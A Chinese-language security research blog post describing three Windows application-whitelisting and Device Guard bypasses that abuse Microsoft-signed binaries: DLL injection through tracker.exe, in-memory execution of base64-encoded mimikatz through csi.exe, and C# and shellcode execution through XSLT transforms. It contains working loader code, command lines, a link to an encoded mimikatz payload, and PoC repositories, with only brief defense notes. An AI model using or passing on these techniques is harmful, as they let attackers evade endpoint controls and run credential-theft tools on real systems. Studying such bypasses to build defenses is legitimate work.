乾貨 | 如何利用csi.exe繞過Windows Device Guard?
About:
use tracker to load dll
use csi to bypass Application Whitelisting
execute C# from XSLT file
目錄:
介紹利用tracker.exe載入dll的方法
如何利用csi.exe繞過Windows Device Guard
在XSLT文件轉換過程中執行C#代碼
0x01 use tracker to load dll
Reference:
https://twitter.com/subTee/status/793151392185589760
簡介:
Casey在Twitter分享的一個技巧,利用tracker.exe能夠創建進程,注入dll,特別的是tracker.exe來自於SDK中,包含微軟的數字簽名,本文將要分享利用該技巧的一些心得,補充一個直接利用tracker.exe載入dll的技巧
Tracker.exe:
Tracker.exe is used to start a process and inject FileTracker.dll into it just after creation.nThe file accesses of the target process are tracked, and written to a .tlog filen
常見目錄(需要安裝SDK):
C:Program Files (x86)Microsoft SDKsWindowsv8.1AbinNETFX 4.5.1 ToolsnC:Program Files (x86)Microsoft SDKsWindowsv10.0AbinNETFX 4.6.1 Toolsx64n
語法:
Tracker.exe [選項] [@跟蹤器響應文件] /c [命令行]n /d 文件.dll : 使用跟蹤 dll 文件.dll 啟動進程。(默認值: 通過 PATH 提供的 FileTracker.dll)n /i[f] <路徑> : 用於跟蹤日誌輸出的中間目錄。(使用 /if 可立即將路徑展開為完整路徑)(默認值: 所跟蹤進程中的當前目錄)n /o : 對每個文件執行跟蹤操作n /m : 在跟蹤日誌中包含缺少的文件,即在進程關閉之前刪除的那些文件n /u : 不從跟蹤日誌中刪除重複的文件操作n /t : 跟蹤命令行(將展開使用「@文件名」語法指定的響應文件)n /a : 啟用擴展跟蹤: GetFileAttributes、GetFileAttributesExn /e : 啟用擴展跟蹤: GetFileAttributes、GetFileAttributesEx、RemoveDirectory、CreateDirectoryn /k : 在跟蹤日誌文件名中保留完整的工具鏈n /r 文件 1;文件 2;..;文件 n : 正在跟蹤的主要根輸入文件(默認值: 無)n /c [命令行] : 要跟蹤的命令(必須是最後一個參數)n /? : 本幫助文本n
實際測試:
cmd下運行:
Tracker.exe /d test.dll /c cmd.exen
如圖,成功載入test.dll
test.dll為默認包含導出函數的dll就好,示例代碼如下:#include "stdafx.h"n#include <windows.h>nBOOL APIENTRY DllMain( HMODULE hModule,n DWORD ul_reason_for_call,n LPVOID lpReservedn )n{n switch (ul_reason_for_call)n {n case DLL_PROCESS_ATTACH:n MessageBox(NULL,L"testexport", L"testexport",MB_OK);n case DLL_THREAD_ATTACH:n case DLL_THREAD_DETACH:n case DLL_PROCESS_DETACH:n break;n }n return TRUE;n}n
分析:
這個技巧有如下特點:
tracker.exe包含微軟數字簽名,可繞過應用程序白名單的限制ntracker.exe可以在啟動進程的同時載入dlln
但是如果只想通過tracker.exe載入dll的話,存在以下問題:
選擇不存在或是許可權不夠的進程,無法載入dll
但是,可以通過一個特殊的進程來解決這個問題,如svchost.exe,那麼在載入dll後,進程svchost.exe可以自動退出,這就實現了通過tracker.exe載入dll
防禦:
對tracker.exe添加黑名單規則
0x02 use csi to bypass Application Whitelisting
Reference:
http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
簡介:
同樣是利用帶有微軟簽名的exe繞過白名單的技巧,Matt Graeber曾介紹過如何利用cdb.exe繞過Windows Device Guard,Casey這次介紹的是使用C#相關的csi.exe繞過Windows Device Guard的技巧,本文將分享這個技巧的研究心得,並完成Casey在博客中留給讀者的作業——在win10未安裝VS2015的環境下如何使用csi.exe
csi.exe:
在Visual Studio 2015 Update 1引入
安裝後位置在C:Program Files (x86)MSBuild14.0Bin
實際測試:
測試系統:
Win10 安裝Visual Studio 2015
1.在csi編譯環境中直接執行代碼
直接運行csi.exe會進入編譯環境,可在裡面直接填入代碼並運行
如圖
測試Casey在文章中的代碼,從文件中讀取base64加密過的mimikatz.exe,解密執行,代碼如下:
using System;nusing System.Reflection;nstring s = System.IO.File.ReadAllText(@"c:testkatz.txt");nbyte[] b = System.Convert.FromBase64String(s);nAssembly a = Assembly.Load(b);nMethodInfo method = a.EntryPoint;nobject o = a.CreateInstance(method.Name);nmethod.Invoke(o, null);n
mimikatz.exe作base64加密後保存的文件katz.txt已上傳,地址為: https://raw.githubusercontent.com/3gstudent/test/master/katz.txt
測試如圖,成功解密並執行mimikatz.exe
2.執行.csx文件中的代碼
將上述測試代碼寫在katz.csx文件中
csi編譯環境下運行:
#load "c:testkatz.csx"n
注:
文件路徑必須包含雙引號,load前綴#
測試如圖,成功執行
3.在cmd下運行
可在cmd下csi.exe後面直接加.csx文件的路徑
例如:
"C:Program Files (x86)MSBuild14.0Bincsi.exe" c:testkatz.csxn
測試如圖,成功執行
當然,在Win10上面不是必須安裝vs2015才能使用csi.exe,這也是Casey留給讀者的作業,找到csi.exe使用需要的依賴項
我已經完成了這個作業,依賴項文件最少需要6.77MB,可在csi.exe的同級目錄C:Program Files (x86)MSBuild14.0Bin下找到,將csi.exe及其依賴性上傳到Win10系統即可直接使用
依賴項文件列表如下:
Microsoft.CodeAnalysis.CSharp.dllnMicrosoft.CodeAnalysis.CSharp.Scripting.dllnMicrosoft.CodeAnalysis.dllnMicrosoft.CodeAnalysis.Scripting.dllnSystem.AppContext.dllnSystem.Collections.Immutable.dllnSystem.IO.FileSystem.dllnSystem.IO.FileSystem.Primitives.dllnSystem.Reflection.Metadata.dlln
補充:
該方法只用於Win10
防禦:
Matt Graeber分享了他的應對方法,更新了Device Guard Bypass MitigationRules,地址如下:
https://twitter.com/mattifestation/status/781211230065332224
mattifestation/DeviceGuardBypassMitigationRules
0x03 execute C# from XSLT file
Reference:
https://twitter.com/subTee/status/796737674954608641
POC地址:
https://gist.github.com/subTee/c34d0499e232c1501ff9f0a8dd302cbd#file-script-ps1
簡介:
Casey在Twitter分享了一個有意思的技巧,在XSLT文件轉換的過程中執行C#代碼,本節將分享這個技巧的心得,並擴充POC,結合之前的經驗,實現通過XSLT文件執行shellcode
XSLT:
XSLT是extensible stylesheet language transformation(擴展樣式錶轉換語言)的縮寫
用於將XML文檔轉換成以下一種格式:
HTMLnXMLnXHTMLnXSLTn文本n
在轉換操作的過程中,可以執行c#或VB代碼,同VisualStudio Persistence中在編譯過程執行代碼類似
XSLT在web前端中用的比較多
實際測試:
將calc.xslt,example.xml,script.ps1三個文件放於同級目錄,設置script.ps1中的路徑變數$path
執行script.ps1,生成output.xml,彈出計算器,如圖
參考如下鏈接可獲得編寫XSLT的更多提示: Script Blocks Using msxsl:script於是基於之前的研究,實現了通過XSLT調用C#執行shellcode,地址如下:
3gstudent/Execute-CSharp-From-XSLT-TEST
注:主要是修改了calc.xslt文件
本文為3gstudent原創稿件,授權嘶吼獨家發布,未經許可禁止轉載
推薦閱讀:
TAG:技术分析 |